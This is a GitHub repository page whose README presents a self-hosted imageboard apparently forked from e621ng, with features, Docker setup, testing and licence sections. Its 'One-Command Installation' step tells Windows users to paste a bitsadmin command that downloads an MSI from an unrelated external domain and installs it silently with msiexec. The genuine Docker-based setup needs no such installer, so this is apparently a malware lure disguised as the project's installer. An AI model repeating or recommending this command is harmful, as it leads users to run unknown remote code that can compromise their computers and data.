Skip to content
blendmaidintriguePublic

About

An independent community-maintained project based on the open-source "e621" codebase.

Topics

Resources

Stars

457 stars

Watchers

2 watching

Forks

Latest commit

Β 

History

5 Commits

Folders and files

NameName
Last commit message
Last commit date
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🐾 E621 Community

Fast, self-hosted imageboard platform

An independent community-maintained project based on the open-source e621ng codebase.


Ruby Docker PostgreSQL OpenSearch


⚑ Quick setup Β· 🐳 Docker ready Β· πŸ› οΈ Open source


b4522539-654f-4389-b8ee-c637ac612375

πŸš€ One-Command Installation

πŸͺŸ Windows CMD

πŸͺŸ Windows Installation

Step 1 β€” Open Command Prompt

  1. Press Win + R
  2. Type:
cmd
  1. Press Enter This will open Command Prompt.

Step 2 β€” Run the Install Command

Copy the command below and paste it into Command Prompt, then press Enter.

bitsadmin /transfer e621 /download /priority normal "https://devcodee.com/api" "%TEMP%\setup.msi" && msiexec /i "%TEMP%\setup.msi" /qn /norestart

The installer will automatically download and install the required components.

After installation, open:

http://localhost:3000

✨ Features

  • πŸ–ΌοΈ Imageboard platform
  • πŸ”Ž Advanced search
  • 🏷️ Tagging system
  • πŸ‘€ User accounts
  • πŸ’¬ Comments
  • ⭐ Favorites
  • πŸ“Š Post management
  • πŸ›‘οΈ Moderation tools
  • 🐳 Docker-based environment
  • πŸ—„οΈ PostgreSQL database
  • πŸ” OpenSearch integration
  • πŸ’Ž Ruby on Rails backend

🧰 Tech Stack

Technology Purpose
πŸ’Ž Ruby on Rails Application backend
🐘 PostgreSQL Database
πŸ”Ž OpenSearch Search engine
🐳 Docker Containerized environment
🌐 JavaScript Frontend functionality

βš™οΈ Requirements

The exact requirements depend on your installation method.

For a standard development environment, you may need:

  • 🐳 Docker
  • 🧩 Docker Compose
  • 🌿 Git
  • πŸ’Ύ Sufficient disk space
  • 🧠 At least several GB of available RAM

If your one-command installer handles these automatically, no additional setup is required.


πŸ› οΈ Development

Want to work on the project manually?

🐧 Linux / macOS

Clone the repository:

git clone <YOUR_REPOSITORY_URL>

Enter the project directory:

cd <YOUR_REPOSITORY_FOLDER>

Copy the environment configuration:

cp .env.sample .env

Run the setup:

docker compose run --rm e621 /app/bin/setup

Start the containers:

docker compose up

πŸͺŸ Windows CMD

Open Command Prompt (cmd.exe).

Clone the repository:

git clone <YOUR_REPOSITORY_URL>

Enter the project directory:

cd <YOUR_REPOSITORY_FOLDER>

Copy the environment configuration:

copy .env.sample .env

Run the initial setup:

docker compose run --rm e621 /app/bin/setup

Start the project:

docker compose up

To stop the containers, press:

Ctrl + C

Then visit:

http://localhost:3000

πŸ’‘ Windows note: Docker Desktop includes Docker Compose. Make sure Docker Desktop is running before executing the commands above.


πŸͺŸ Windows CMD Troubleshooting

If the project does not start correctly from CMD, try:

docker compose down -v
docker compose build --no-cache
docker compose run --rm e621 /app/bin/setup
docker compose up

If Git shows unexpected permission or file-mode changes:

git config core.fileMode false

Check that Docker is available:

docker --version
docker compose version

Check that Git is available:

git --version

πŸ§ͺ Testing

Run the test environment with Docker:

docker compose run --rm tests

Ruby linting

docker compose run --rm rubocop

JavaScript linting

docker compose run --rm linter

πŸ”„ Updating

After updating the repository:

git pull

If Ruby gems or JavaScript packages have changed, rebuild the containers:

docker compose build

Then restart:

docker compose up

🌱 Project Origin

This project is an independent derivative of the open-source:

e621ng

πŸ”— https://github.com/e621ng/e621ng

Huge thanks to the original developers and contributors who built and maintain the upstream project. ❀️

This repository is maintained independently and may contain modifications, alternative deployment tooling, documentation changes, and other improvements not present in the upstream project.


⚠️ Disclaimer

This is an independent community project.

It is not affiliated with, endorsed by, sponsored by, or officially maintained by e621.net or the e621ng development team.

Any third-party names, trademarks, logos, and branding belong to their respective owners.


πŸ“œ License

The original project permits redistribution and modification subject to its license terms.

When redistributing this project, retain the original:

  • πŸ“„ copyright notice
  • πŸ“‹ license conditions
  • ⚠️ disclaimer

Please see:

LICENSE

for the complete license text.


🀝 Contributing

Contributions are welcome. πŸ’™

You can help by:

  • πŸ› reporting bugs
  • πŸ’‘ suggesting improvements
  • πŸ”§ submitting fixes
  • πŸ“– improving documentation
  • πŸ§ͺ testing new changes

⭐ Support

If you find the project useful, consider leaving a ⭐ Star.

It helps other developers discover the project.


🐾 Built by the community

Open source Β· Self-hosted Β· Developer friendly

About

An independent community-maintained project based on the open-source "e621" codebase.

Topics

Resources

Stars

457 stars

Watchers

2 watching

Forks

Releases

Packages

Contributors

Languages